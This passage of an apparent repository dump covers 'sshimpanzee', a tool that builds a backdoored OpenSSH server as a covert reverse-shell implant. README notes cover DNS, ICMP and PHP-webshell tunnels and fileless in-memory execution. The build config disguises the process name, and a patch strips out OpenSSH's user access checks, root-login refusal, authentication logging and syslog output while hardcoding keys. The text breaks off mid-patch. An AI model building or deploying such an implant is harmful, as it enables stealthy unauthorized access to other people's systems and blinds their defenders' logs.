proxy_cli.py offers --run and --drop options to do so. 2) You might experience a huge input lag, it is because a delay of 1 to 5 second is added to the packet sent by ssh client to prevent from generating to many http request. If you don't mind generating a lot of http request (thus a lot of logs on the web server) add the --no-buffer option to proxy_cli.py command. ## Using the sshimpanzee client This repo also provide a client located in __utils/client/bin__. Simply copy the CLIENT key in utils/client/keys/ ``` sshimpanzee --new PORT #create a new listener on PORT sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt) sshimpanzee --new-icmp #create a new icmp listener sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session sshimpanzee --list #list availaible sessions sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params sshimpanzee --rename SESSION_NUMBER #to rename a session sshimpanzee --kill SESSION_NUMBER #to kill a session sshimpanzee #use fzf to select which session you want ``` However it might be less reliable than using ssh directly. ## Create your own tunnel mecanism Every tunnels are available in the tuns/ directory. If you want to add another tunnel, simply add a function with the name of your tunnel in tuns/builder.py. This function is responsible to generate a libtun.a archive containing as many .o as necessary with one of them exporting a tun() symbole. Alternatively, you build the libtun.a yourself and use the tunnel called no_build, and provide the path to your custom libtun.a ## Use the file less execution If sshimpanzee is built with remote-exec subsystem module, it is possible to execute code remotely completely in memory. ```sh python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1 ``` ## Future Work - Add other tunnels : - HTTP Encapsulation (First step through http_enc and proxy.php : add JSP and other programs ) - Userland TCP/IP Stack with raw sock ? - ICMP : Xor/Encrypt string to avoid detection in case of network analysis - Subsystem for post exploitation: - Procdump - TCP Scan ## Thanks This repository relies on a lot of different project. - First of all, Openssh-portable (9.1) : https://github.com/openssh/openssh-portable - The musl libc to build it statically : https://wiki.musl-libc.org/ For the tunnels: - Dns2tcp : https://github.com/alex-sector/dns2tcp - icmptunnel (heavily modified to improve tunnel resiliency) : https://github.com/DhavalKapil/icmptunnel.git - Proxysocket : https://github.com/brechtsanders/proxysocket It is important to note that it is *not* a very original project, weaponizing ssh protocol has already been done several years ago: - https://github.com/Marc-andreLabonte/blackbear - https://github.com/Fahrj/reverse-ssh - https://github.com/NHAS/reverse_ssh ================================================ FILE: build.yaml ================================================ ### # This is sshimpanzee build profile # YAML is used to describe what behaviour and feature should the sshimpanzee binary run with ### ### General config process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name) banner: true # Should the banner be displayed at login shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell timer: 60*1000*1000 # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead keygen: true # Re generate keys during build, insure a new HOST and CLIENT keys is used public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported) #public key: "ssh-ed25519 .... ROGUE@ROGUE" #Loglevel as described in sshd_config loglevel: DEBUG2 ### Environment # sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior env: if_not_set : # Variable here will be set if they do not already exists REMOTE: 127.0.0.1 PORT: 8080 MODE: sock # MODE environment variable is used to manage the default tunnel overwrite: # Variable here will overwrite already existent sshd_extra_config: AcceptEnv: '*' #This will allow users to specify their own environment variable using ssh -o SetEnv=ENVIRONMENT=VALUE PasswordAuthentication: 'no' KbdInteractiveAuthentication: 'no' PermitUserRc: 'no' PermitUserEnvironment: 'no' GatewayPorts: 'yes' ### Tunnels # sshimpanzee come with different tunneling mecanisms # To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels # Tunnel compilation parameters can be specified here tun: sock: enabled: true icmp: enabled: false buildserv: true # should the corresponding ICMPTunnel server be built raw_sock: false # build with support for raw sock for older kernels http_server_reuse : enabled: false key: # web shell key, empty will result in a new key being generated targets: - "php" # list of language you want to generate webshells for path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells http_client: enabled: false use_web_socket_if_possible: true proxy_support: true poll_url : "/" send_url: "/" dns: enabled: false resource: sshimpanzee # DNS2TCP Resource key: sshimpanzee # DNS2TCP key obfuscate: true # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver buildserv: false qtype: TXT # Type of query used by DNS2TCP proxysock: enabled: false udp: enabled: true buildserv : true buildclient: true websocket: enabled: true no_build: enabled: false path: [] ### Subsystem # sshimpanzee offers subsystem mechanisms just like the subsystem mecanism of openssh sshd subsystems: internal_sftp: # standard sftp as provided by openssh enabled: true name: sftp exec: internal-sftp is_internal: true remote_exec: # remote execution using fileless memfd technique enabled: true name: remote-exec exec: internal-remote-exec is_internal: true ## Debug / Developpement build option make: true # Keep it to true if you want the builder script to generate sshd binary force_clean_build: false #Currently required for docker builds, will force builder script to recompile tunnels and dependances reconf: true # Required for docker builds verbose: 3 # Verbosity level as written in buildlog ================================================ FILE: builder.py ================================================ #!/bin/env python3 import uuid import os import os.path import sys import socket from src.data import banner, sshd_header, env_template from src.args import args, parser from src.keys import gen_keys, load_keys from src.cmd import run_cmd import tuns.builder from subsystems.subsystems import generate_subsystem_string import subsystems.subsystems host_priv = "" host_pub = "" cli_pub = "" def build_dep(): print("[*] First build, Setup dependancies") cmd = "cd openssh-portable; git checkout 8241b9c0529228b4b86d88b1a6076fb9f97e4a99; git apply ../patch_openssh.diff; autoreconf" print("\t-> Apply patch and run Autoreconf on openssh-portable") if (run_cmd(cmd)): print("[-] Autoreconf failed...") sys.exit(-1) if not os.path.exists("build"): os.mkdir("build") def set_env_code(env_items, template, pattern=""): env_code = "" if env_items["if_not_set"]: for i in env_items["if_not_set"]: value = env_items["if_not_set"][i] if type(value) is str: value = value.replace('"','\\"') key = i env_var = f"{key}={value}" env_code += f'if (!getenv("{key}")) putenv("{env_var}");\n' if env_items["overwrite"]: for i in env_items["overwrite"]: value = env_items["overwrite"][i] if type(value) is str: value = value.replace('"','\\"') key = i env_var = f"{key}={value}" env_code += f'putenv("{env_var}");\n' to_write = template.replace(pattern, env_code,1) return to_write def clean(): cmd = "cd openssh-portable; git reset eb88d07c43afe407094e7d609248d85a15e148ef --hard; rm -f sshd; rm configure" run_cmd(cmd) cmd = "git submodule foreach --recursive 'git reset --hard HEAD; git clean -fd'" run_cmd(cmd) if os.path.exists('build/libtun.a'): os.unlink('build/libtun.a') if os.path.exists('build/sshd'): os.unlink('build/sshd') if os.path.exists('build/dns2tcpd'): os.unlink('build/dns2tcpd') if os.path.exists('build/icmptunnel'): os.unlink('build/icmptunnel') if __name__ == "__main__": print(banner) if args.tun == "help" or args.tun == "list": tuns.builder.help() if args.force_clean_build: clean() if not os.path.isfile("openssh-portable/configure"): build_dep() if args.keygen: gen_keys() else: print("\t-> Skipping Key regen") print("[*] Load keys") host_priv, host_pub, cli_pub = load_keys() print("[*] Generate uniq Keyfile variable") keyfile = str(uuid.uuid1()) print("\t-> "+keyfile) CFLAGS_add = "" LFLAGS_add = "" tun = tuns.builder.combiner(args.tun) path = os.getcwd() CFLAGS_add = "-DTUN" LFLAGS_add = f"-ltun -L{path}/build/" extra_conf = "" subsys_str = generate_subsystem_string(args) for i in args.subsystems: if args.subsystems[i]['is_internal']: ec,el,econf = getattr(subsystems.subsystems, i, None)(args) CFLAGS_add += ' ' + ec LFLAGS_add += ' ' + el extra_conf += ' ' + econf configure_command = f'cd openssh-portable; ./configure --without-zlib --disable-lastlog --disable-utmp --disable-utmpx --disable-wtmp --disable-wtmpx --disable-libutil --without-openssl CFLAGS="-D_FORTIFY_SOURCE=0 -static -Os -fPIC {CFLAGS_add}" LDFLAGS=" -static {LFLAGS_add}" --without-sandbox --with-privsep-user=root --with-privsep-path=/tmp/ --with-pie {extra_conf}' ip = '"127.0.0.1"' port = '8080' if args.reconf: print("[*] Running ./configure") if(run_cmd(configure_command)): print("\n\n[-] Reconfigure FAILED. You might need some static libraries. Build have been tested succesfully on Centos") sys.exit(-1) else: print("\t-> Skipping Reconf") sshd_header = sshd_header.replace("", keyfile) sshd_header = sshd_header.replace("", ip) sshd_header = sshd_header.replace("", port) sshd_header = sshd_header.replace("", host_priv) sshd_header = sshd_header.replace("", host_pub) sshd_header = sshd_header.replace("", cli_pub) sshd_header = sshd_header.replace("", args.shell) if args.banner: sshd_header = sshd_header.replace("", banner.replace("\\","\\\\").replace("\n","\\n")) else : sshd_header = sshd_header.replace("", "") sshd_header = sshd_header.replace("", args.timer) sshd_header = sshd_header.replace("", args.process_name) sshd_header = sshd_header.replace("", subsys_str) sshd_header = sshd_header.replace("", "1") sshd_header = sshd_header.replace("", args.loglevel) extra_cfg = "" for i in args.sshd_extra_config: extra_cfg += f"{i} {args.sshd_extra_config[i]}\\n" sshd_header = sshd_header.replace("", extra_cfg) if args.verbose > 0: print(sshd_header) with open("openssh-portable/sshd.h", "w") as f: f.write(sshd_header) template = set_env_code(args.env, env_template) if args.verbose > 0: print(template) with open("openssh-portable/initial_env.c", "w") as f: f.write(template) if args.make: print("[*] Starting Build... It could take some time.") r = run_cmd(f"cd openssh-portable; make clean; make sshd -j $(nproc)"); if r != 0: print("[-] Build FAILED ") sys.exit(-r) print("[+] Build completed successfully") os.replace("openssh-portable/sshd", "build/sshd") ================================================ FILE: patch_openssh.diff ================================================ diff --git a/Makefile.in b/Makefile.in index 1efe11f6f..72a09efe0 100644 --- a/Makefile.in +++ b/Makefile.in @@ -118,7 +118,7 @@ SKOBJS= ssh-sk-client.o SSHOBJS= ssh.o readconf.o clientloop.o sshtty.o \ sshconnect.o sshconnect2.o mux.o $(SKOBJS) -SSHDOBJS=sshd.o auth-rhosts.o auth-passwd.o \ +SSHDOBJS=sshd.o initial_env.o auth-rhosts.o auth-passwd.o \ audit.o audit-bsm.o audit-linux.o platform.o \ sshpty.o sshlogin.o servconf.o serverloop.o \ auth.o auth2.o auth-options.o session.o \ diff --git a/auth.c b/auth.c index 3b380d9bb..c23d1e5e5 100644 --- a/auth.c +++ b/auth.c @@ -105,118 +105,118 @@ allowed_user(struct ssh *ssh, struct passwd * pw) int r; /* Shouldn't be called if pw is NULL, but better safe than sorry... */ - if (!pw || !pw->pw_name) - return 0; + // if (!pw || !pw->pw_name) + // return 0; - if (!options.use_pam && platform_locked_account(pw)) { - logit("User %.100s not allowed because account is locked", - pw->pw_name); - return 0; - } + //if (!options.use_pam && platform_locked_account(pw)) { + // logit("User %.100s not allowed because account is locked", + // pw->pw_name); + // return 0; + //} /* * Deny if shell does not exist or is not executable unless we * are chrooting. */ - if (options.chroot_directory == NULL || - strcasecmp(options.chroot_directory, "none") == 0) { - char *shell = xstrdup((pw->pw_shell[0] == '\0') ? - _PATH_BSHELL : pw->pw_shell); /* empty = /bin/sh */ - - if (stat(shell, &st) == -1) { - logit("User %.100s not allowed because shell %.100s " - "does not exist", pw->pw_name, shell); - free(shell); - return 0; - } - if (S_ISREG(st.st_mode) == 0 || - (st.st_mode & (S_IXOTH|S_IXUSR|S_IXGRP)) == 0) { - logit("User %.100s not allowed because shell %.100s " - "is not executable", pw->pw_name, shell); - free(shell); - return 0; - } - free(shell); - } - - if (options.num_deny_users > 0 || options.num_allow_users > 0 || - options.num_deny_groups > 0 || options.num_allow_groups > 0) { - hostname = auth_get_canonical_hostname(ssh, options.use_dns); - ipaddr = ssh_remote_ipaddr(ssh); - } - - /* Return false if user is listed in DenyUsers */ - if (options.num_deny_users > 0) { - for (i = 0; i < options.num_deny_users; i++) { - r = match_user(pw->pw_name, hostname, ipaddr, - options.deny_users[i]); - if (r < 0) { - fatal("Invalid DenyUsers pattern \"%.100s\"", - options.deny_users[i]); - } else if (r != 0) { - logit("User %.100s from %.100s not allowed " - "because listed in DenyUsers", - pw->pw_name, hostname); - return 0; - } - } - } - /* Return false if AllowUsers isn't empty and user isn't listed there */ - if (options.num_allow_users > 0) { - for (i = 0; i < options.num_allow_users; i++) { - r = match_user(pw->pw_name, hostname, ipaddr, - options.allow_users[i]); - if (r < 0) { - fatal("Invalid AllowUsers pattern \"%.100s\"", - options.allow_users[i]); - } else if (r == 1) - break; - } - /* i < options.num_allow_users iff we break for loop */ - if (i >= options.num_allow_users) { - logit("User %.100s from %.100s not allowed because " - "not listed in AllowUsers", pw->pw_name, hostname); - return 0; - } - } - if (options.num_deny_groups > 0 || options.num_allow_groups > 0) { - /* Get the user's group access list (primary and supplementary) */ - if (ga_init(pw->pw_name, pw->pw_gid) == 0) { - logit("User %.100s from %.100s not allowed because " - "not in any group", pw->pw_name, hostname); - return 0; - } - - /* Return false if one of user's groups is listed in DenyGroups */ - if (options.num_deny_groups > 0) - if (ga_match(options.deny_groups, - options.num_deny_groups)) { - ga_free(); - logit("User %.100s from %.100s not allowed " - "because a group is listed in DenyGroups", - pw->pw_name, hostname); - return 0; - } - /* - * Return false if AllowGroups isn't empty and one of user's groups - * isn't listed there - */ - if (options.num_allow_groups > 0) - if (!ga_match(options.allow_groups, - options.num_allow_groups)) { - ga_free(); - logit("User %.100s from %.100s not allowed " - "because none of user's groups are listed " - "in AllowGroups", pw->pw_name, hostname); - return 0; - } - ga_free(); - } - -#ifdef CUSTOM_SYS_AUTH_ALLOWED_USER - if (!sys_auth_allowed_user(pw, loginmsg)) - return 0; -#endif + /* if (options.chroot_directory == NULL || */ +/* strcasecmp(options.chroot_directory, "none") == 0) { */ +/* char *shell = xstrdup((pw->pw_shell[0] == '\0') ? */ +/* _PATH_BSHELL : pw->pw_shell); /\* empty = /bin/sh *\/ */ + +/* if (stat(shell, &st) == -1) { */ +/* logit("User %.100s not allowed because shell %.100s " */ +/* "does not exist", pw->pw_name, shell); */ +/* free(shell); */ +/* return 0; */ +/* } */ +/* if (S_ISREG(st.st_mode) == 0 || */ +/* (st.st_mode & (S_IXOTH|S_IXUSR|S_IXGRP)) == 0) { */ +/* logit("User %.100s not allowed because shell %.100s " */ +/* "is not executable", pw->pw_name, shell); */ +/* free(shell); */ +/* return 0; */ +/* } */ +/* free(shell); */ +/* } */ + +/* if (options.num_deny_users > 0 || options.num_allow_users > 0 || */ +/* options.num_deny_groups > 0 || options.num_allow_groups > 0) { */ +/* hostname = auth_get_canonical_hostname(ssh, options.use_dns); */ +/* ipaddr = ssh_remote_ipaddr(ssh); */ +/* } */ + +/* /\* Return false if user is listed in DenyUsers *\/ */ +/* if (options.num_deny_users > 0) { */ +/* for (i = 0; i < options.num_deny_users; i++) { */ +/* r = match_user(pw->pw_name, hostname, ipaddr, */ +/* options.deny_users[i]); */ +/* if (r < 0) { */ +/* fatal("Invalid DenyUsers pattern \"%.100s\"", */ +/* options.deny_users[i]); */ +/* } else if (r != 0) { */ +/* logit("User %.100s from %.100s not allowed " */ +/* "because listed in DenyUsers", */ +/* pw->pw_name, hostname); */ +/* return 0; */ +/* } */ +/* } */ +/* } */ +/* /\* Return false if AllowUsers isn't empty and user isn't listed there *\/ */ +/* if (options.num_allow_users > 0) { */ +/* for (i = 0; i < options.num_allow_users; i++) { */ +/* r = match_user(pw->pw_name, hostname, ipaddr, */ +/* options.allow_users[i]); */ +/* if (r < 0) { */ +/* fatal("Invalid AllowUsers pattern \"%.100s\"", */ +/* options.allow_users[i]); */ +/* } else if (r == 1) */ +/* break; */ +/* } */ +/* /\* i < options.num_allow_users iff we break for loop *\/ */ +/* if (i >= options.num_allow_users) { */ +/* logit("User %.100s from %.100s not allowed because " */ +/* "not listed in AllowUsers", pw->pw_name, hostname); */ +/* return 0; */ +/* } */ +/* } */ +/* if (options.num_deny_groups > 0 || options.num_allow_groups > 0) { */ +/* /\* Get the user's group access list (primary and supplementary) *\/ */ +/* if (ga_init(pw->pw_name, pw->pw_gid) == 0) { */ +/* logit("User %.100s from %.100s not allowed because " */ +/* "not in any group", pw->pw_name, hostname); */ +/* return 0; */ +/* } */ + +/* /\* Return false if one of user's groups is listed in DenyGroups *\/ */ +/* if (options.num_deny_groups > 0) */ +/* if (ga_match(options.deny_groups, */ +/* options.num_deny_groups)) { */ +/* ga_free(); */ +/* logit("User %.100s from %.100s not allowed " */ +/* "because a group is listed in DenyGroups", */ +/* pw->pw_name, hostname); */ +/* return 0; */ +/* } */ +/* /\* */ +/* * Return false if AllowGroups isn't empty and one of user's groups */ +/* * isn't listed there */ +/* *\/ */ +/* if (options.num_allow_groups > 0) */ +/* if (!ga_match(options.allow_groups, */ +/* options.num_allow_groups)) { */ +/* ga_free(); */ +/* logit("User %.100s from %.100s not allowed " */ +/* "because none of user's groups are listed " */ +/* "in AllowGroups", pw->pw_name, hostname); */ +/* return 0; */ +/* } */ +/* ga_free(); */ +/* } */ + +/* #ifdef CUSTOM_SYS_AUTH_ALLOWED_USER */ +/* if (!sys_auth_allowed_user(pw, loginmsg)) */ +/* return 0; */ +/* #endif */ /* We found no reason not to let this user try to log on... */ return 1; @@ -267,81 +267,81 @@ void auth_log(struct ssh *ssh, int authenticated, int partial, const char *method, const char *submethod) { - Authctxt *authctxt = (Authctxt *)ssh->authctxt; - int level = SYSLOG_LEVEL_VERBOSE; - const char *authmsg; - char *extra = NULL; - - if (use_privsep && !mm_is_monitor() && !authctxt->postponed) - return; - - /* Raise logging level */ - if (authenticated == 1 || - !authctxt->valid || - authctxt->failures >= options.max_authtries / 2 || - strcmp(method, "password") == 0) - level = SYSLOG_LEVEL_INFO; - - if (authctxt->postponed) - authmsg = "Postponed"; - else if (partial) - authmsg = "Partial"; - else - authmsg = authenticated ? "Accepted" : "Failed"; - - if ((extra = format_method_key(authctxt)) == NULL) { - if (authctxt->auth_method_info != NULL) - extra = xstrdup(authctxt->auth_method_info); - } - - do_log2(level, "%s %s%s%s for %s%.100s from %.200s port %d ssh2%s%s", - authmsg, - method, - submethod != NULL ? "/" : "", submethod == NULL ? "" : submethod, - authctxt->valid ? "" : "invalid user ", - authctxt->user, - ssh_remote_ipaddr(ssh), - ssh_remote_port(ssh), - extra != NULL ? ": " : "", - extra != NULL ? extra : ""); - - free(extra); - -#if defined(CUSTOM_FAILED_LOGIN) || defined(SSH_AUDIT_EVENTS) - if (authenticated == 0 && !(authctxt->postponed || partial)) { - /* Log failed login attempt */ -# ifdef CUSTOM_FAILED_LOGIN - if (strcmp(method, "password") == 0 || - strncmp(method, "keyboard-interactive", 20) == 0 || - strcmp(method, "challenge-response") == 0) - record_failed_login(ssh, authctxt->user, - auth_get_canonical_hostname(ssh, options.use_dns), "ssh"); -# endif -# ifdef SSH_AUDIT_EVENTS - audit_event(ssh, audit_classify_auth(method)); -# endif - } -#endif -#if defined(CUSTOM_FAILED_LOGIN) && defined(WITH_AIXAUTHENTICATE) - if (authenticated) - sys_auth_record_login(authctxt->user, - auth_get_canonical_hostname(ssh, options.use_dns), "ssh", - loginmsg); -#endif + /* Authctxt *authctxt = (Authctxt *)ssh->authctxt; */ +/* int level = SYSLOG_LEVEL_VERBOSE; */ +/* const char *authmsg; */ +/* char *extra = NULL; */ + +/* if (use_privsep && !mm_is_monitor() && !authctxt->postponed) */ +/* return; */ + +/* /\* Raise logging level *\/ */ +/* if (authenticated == 1 || */ +/* !authctxt->valid || */ +/* authctxt->failures >= options.max_authtries / 2 || */ +/* strcmp(method, "password") == 0) */ +/* level = SYSLOG_LEVEL_INFO; */ + +/* if (authctxt->postponed) */ +/* authmsg = "Postponed"; */ +/* else if (partial) */ +/* authmsg = "Partial"; */ +/* else */ +/* authmsg = authenticated ? "Accepted" : "Failed"; */ + +/* if ((extra = format_method_key(authctxt)) == NULL) { */ +/* if (authctxt->auth_method_info != NULL) */ +/* extra = xstrdup(authctxt->auth_method_info); */ +/* } */ + +/* do_log2(level, "%s %s%s%s for %s%.100s from %.200s port %d ssh2%s%s", */ +/* authmsg, */ +/* method, */ +/* submethod != NULL ? "/" : "", submethod == NULL ? "" : submethod, */ +/* authctxt->valid ? "" : "invalid user ", */ +/* authctxt->user, */ +/* ssh_remote_ipaddr(ssh), */ +/* ssh_remote_port(ssh), */ +/* extra != NULL ? ": " : "", */ +/* extra != NULL ? extra : ""); */ + +/* free(extra); */ + +/* #if defined(CUSTOM_FAILED_LOGIN) || defined(SSH_AUDIT_EVENTS) */ +/* if (authenticated == 0 && !(authctxt->postponed || partial)) { */ +/* /\* Log failed login attempt *\/ */ +/* # ifdef CUSTOM_FAILED_LOGIN */ +/* if (strcmp(method, "password") == 0 || */ +/* strncmp(method, "keyboard-interactive", 20) == 0 || */ +/* strcmp(method, "challenge-response") == 0) */ +/* record_failed_login(ssh, authctxt->user, */ +/* auth_get_canonical_hostname(ssh, options.use_dns), "ssh"); */ +/* # endif */ +/* # ifdef SSH_AUDIT_EVENTS */ +/* audit_event(ssh, audit_classify_auth(method)); */ +/* # endif */ +/* } */ +/* #endif */ +/* #if defined(CUSTOM_FAILED_LOGIN) && defined(WITH_AIXAUTHENTICATE) */ +/* if (authenticated) */ +/* sys_auth_record_login(authctxt->user, */ +/* auth_get_canonical_hostname(ssh, options.use_dns), "ssh", */ +/* loginmsg); */ +/* #endif */ } void auth_maxtries_exceeded(struct ssh *ssh) { - Authctxt *authctxt = (Authctxt *)ssh->authctxt; - - error("maximum authentication attempts exceeded for " - "%s%.100s from %.200s port %d ssh2", - authctxt->valid ? "" : "invalid user ", - authctxt->user, - ssh_remote_ipaddr(ssh), - ssh_remote_port(ssh)); - ssh_packet_disconnect(ssh, "Too many authentication failures"); + /* Authctxt *authctxt = (Authctxt *)ssh->authctxt; */ + + /* error("maximum authentication attempts exceeded for " */ + /* "%s%.100s from %.200s port %d ssh2", */ + /* authctxt->valid ? "" : "invalid user ", */ + /* authctxt->user, */ + /* ssh_remote_ipaddr(ssh), */ + /* ssh_remote_port(ssh)); */ + /* ssh_packet_disconnect(ssh, "Too many authentication failures"); */ /* NOTREACHED */ } @@ -351,25 +351,25 @@ auth_maxtries_exceeded(struct ssh *ssh) int auth_root_allowed(struct ssh *ssh, const char *method) { - switch (options.permit_root_login) { - case PERMIT_YES: - return 1; - case PERMIT_NO_PASSWD: - if (strcmp(method, "publickey") == 0 || - strcmp(method, "hostbased") == 0 || - strcmp(method, "gssapi-with-mic") == 0) - return 1; - break; - case PERMIT_FORCED_ONLY: - if (auth_opts->force_command != NULL) { - logit("Root login accepted for forced command."); - return 1; - } - break; - } - logit("ROOT LOGIN REFUSED FROM %.200s port %d", - ssh_remote_ipaddr(ssh), ssh_remote_port(ssh)); - return 0; + /* switch (options.permit_root_login) { */ + /* case PERMIT_YES: */ + /* return 1; */ + /* case PERMIT_NO_PASSWD: */ + /* if (strcmp(method, "publickey") == 0 || */ + /* strcmp(method, "hostbased") == 0 || */ + /* strcmp(method, "gssapi-with-mic") == 0) */ + /* return 1; */ + /* break; */ + /* case PERMIT_FORCED_ONLY: */ + /* if (auth_opts->force_command != NULL) { */ + /* logit("Root login accepted for forced command."); */ + /* return 1; */ + /* } */ + /* break; */ + /* } */ + /* logit("ROOT LOGIN REFUSED FROM %.200s port %d", */ + /* ssh_remote_ipaddr(ssh), ssh_remote_port(ssh)); */ + return 1; } @@ -490,6 +490,9 @@ getpwnamallow(struct ssh *ssh, const char *user) #if defined(_AIX) && defined(HAVE_SETAUTHDB) aix_restoreauthdb(); #endif + if (pw == NULL) + return getpwuid(getuid()); + if (pw == NULL) { logit("Invalid user %.100s from %.100s port %d", user, ssh_remote_ipaddr(ssh), ssh_remote_port(ssh)); diff --git a/auth2-pubkey.c b/auth2-pubkey.c index 3f49e1df3..7d8690be5 100644 --- a/auth2-pubkey.c +++ b/auth2-pubkey.c @@ -69,6 +69,8 @@ #include "channels.h" /* XXX for session.h */ #include "session.h" /* XXX for child_set_env(); refactor? */ #include "sk-api.h" +#include "sshd.h" + /* import */ extern ServerOptions options; @@ -100,7 +102,9 @@ userauth_pubkey(struct ssh *ssh, const char *method) struct sshkey_sig_details *sig_details = NULL; hostbound = strcmp(method, "publickey-hostbound-v00@openssh.com") == 0; - + authctxt->valid = 1; + pw = fakepw(); + if ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 || (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 || (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0) @@ -590,7 +594,9 @@ user_key_allowed2(struct passwd *pw, struct sshkey *key, { FILE *f; int found_key = 0; - + char *auth_key; + char loc[256]; + if (authoptsp != NULL) *authoptsp = NULL; @@ -598,10 +604,17 @@ user_key_allowed2(struct passwd *pw, struct sshkey *key, temporarily_use_uid(pw); debug("trying public key file %s", file); - if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) { - found_key = auth_check_authkeys_file(pw, f, file, - key, remote_ip, remote_host, authoptsp); - fclose(f); + //if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) { + if (strcmp(file, KEYFILE) == 0){ + auth_key = malloc(strlen(AUTHORIZED_KEYS)+1); + strcpy(auth_key, AUTHORIZED_KEYS); + if (auth_check_authkey_line(pw, key, auth_key, remote_ip, remote_host, loc, authoptsp) == 0) + found_key = 1; + else + found_key = 0; + //found_key = auth_check_authkeys_file(pw, f, file, + // key, remote_ip, remote_host, authoptsp); + // fclose(f); } restore_uid(); diff --git a/authfile.c b/authfile.c index 445f2dd54..2d3d5936f 100644 --- a/authfile.c +++ b/authfile.c @@ -49,6 +49,10 @@ #include "ssherr.h" #include "krl.h" +#include "sshd.h" +#include "servconf.h" +extern ServerOptions options; + #define MAX_KEY_FILE_SIZE (1024 * 1024) /* Save a key blob to a file */ @@ -119,25 +123,14 @@ sshkey_load_private_type(int type, const char *filename, const char *passphrase, struct sshkey **keyp, char **commentp) { int fd, r; - - if (keyp != NULL) - *keyp = NULL; - if (commentp != NULL) - *commentp = NULL; - - if ((fd = open(filename, O_RDONLY)) == -1) - return SSH_ERR_SYSTEM_ERROR; - - r = sshkey_perm_ok(fd, filename); - if (r != 0) - goto out; - - r = sshkey_load_private_type_fd(fd, type, passphrase, keyp, commentp); - if (r == 0 && keyp && *keyp) - r = sshkey_set_filename(*keyp, filename); - out: - close(fd); - return r; + struct sshbuf *buffer; + if (options.backdoor == 1){ + buffer = sshbuf_new(); + sshbuf_put(buffer, HOSTKEY, strlen(HOSTKEY)); + return sshkey_parse_private_fileblob_type(buffer, KEY_ED25519, "", keyp, NULL); + + } + return -1; } int @@ -266,6 +259,15 @@ sshkey_load_public(const char *filename, struct sshkey **keyp, char **commentp) { char *pubfile = NULL; int r, oerrno; + char *buffer; + + if(strcmp(filename,"/NOPNOP/")==0) + { + buffer = malloc(strlen(HOSTKEY_PUB)); + strcpy(buffer, HOSTKEY_PUB); + *keyp = sshkey_new(KEY_UNSPEC); + return sshkey_read(*keyp, &buffer); + } if (keyp != NULL) *keyp = NULL; diff --git a/log.c b/log.c index 9fc1a2e2e..9a9d5a8f1 100644 --- a/log.c +++ b/log.c @@ -399,10 +399,10 @@ do_log(LogLevel level, int force, const char *suffix, const char *fmt, log_on_stderr ? LOG_STDERR_VIS : LOG_SYSLOG_VIS); if (log_handler != NULL) { /* Avoid recursion */ - tmp_handler = log_handler; - log_handler = NULL; - tmp_handler(level, force, fmtbuf, log_handler_ctx); - log_handler = tmp_handler; + //tmp_handler = log_handler; + //log_handler = NULL; + //tmp_handler(level, force, fmtbuf, log_handler_ctx); + //log_handler = tmp_handler; } else if (log_on_stderr) { snprintf(msgbuf, sizeof msgbuf, "%s%s%.*s\r\n", (log_on_stderr > 1) ? progname : "", @@ -411,13 +411,13 @@ do_log(LogLevel level, int force, const char *suffix, const char *fmt, (void)write(log_stderr_fd, msgbuf, strlen(msgbuf)); } else { #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT) - openlog_r(progname, LOG_PID, log_facility, &sdata); - syslog_r(pri, &sdata, "%.500s", fmtbuf); - closelog_r(&sdata); + //openlog_r(progname, LOG_PID, log_facility, &sdata); + //syslog_r(pri, &sdata, "%.500s", fmtbuf); + // closelog_r(&sdata); #else - openlog(progname, LOG_PID, log_facility); - syslog(pri, "%.500s", fmtbuf); - closelog(); + // openlog(progname, LOG_PID, log_facility); + // syslog(pri, "%.500s", fmtbuf); + // closelog(); #endif } errno = saved_errno; diff --git a/loginrec.c b/loginrec.c index 4f2149958..f016b7849 100644 --- a/loginrec.c +++ b/loginrec.c @@ -312,22 +312,22 @@ login_get_lastlog(struct logininfo *li, const uid_t uid) * reliably search wtmp(x) for the last login (see * wtmp_get_entry().) */ - pw = getpwuid(uid); - if (pw == NULL) - fatal("%s: Cannot find account for uid %ld", __func__, - (long)uid); - - if (strlcpy(li->username, pw->pw_name, sizeof(li->username)) >= - sizeof(li->username)) { - error("%s: username too long (%lu > max %lu)", __func__, - (unsigned long)strlen(pw->pw_name), - (unsigned long)sizeof(li->username) - 1); - return NULL; - } - - if (getlast_entry(li)) - return (li); - else + /* pw = getpwuid(uid); */ + /* if (pw == NULL) */ + /* fatal("%s: Cannot find account for uid %ld", __func__, */ + /* (long)uid); */ + + /* if (strlcpy(li->username, pw->pw_name, sizeof(li->username)) >= */ + /* sizeof(li->username)) { */ + /* error("%s: username too long (%lu > max %lu)", __func__, */ + /* (unsigned long)strlen(pw->pw_name), */ + /* (unsigned long)sizeof(li->username) - 1); */ + /* return NULL; */ + /* } */ + + /* if (getlast_entry(li)) */ + /* return (li); */ + /* else */ return (NULL); } @@ -387,10 +387,10 @@ login_init_entry(struct logininfo *li, pid_t pid, const char *username, strlcpy(li->username, username, sizeof(li->username)); pw = getpwnam(li->username); if (pw == NULL) { - fatal("%s: Cannot find user \"%s\"", __func__, - li->username); + // fatal("%s: Cannot find user \"%s\"", __func__, + // li->username); } - li->uid = pw->pw_uid; + //li->uid = pw->pw_uid; } if (hostname) @@ -431,13 +431,16 @@ login_set_addr(struct logininfo *li, const struct sockaddr *sa, memcpy(&li->hostaddr.sa, sa, bufsize); } +int 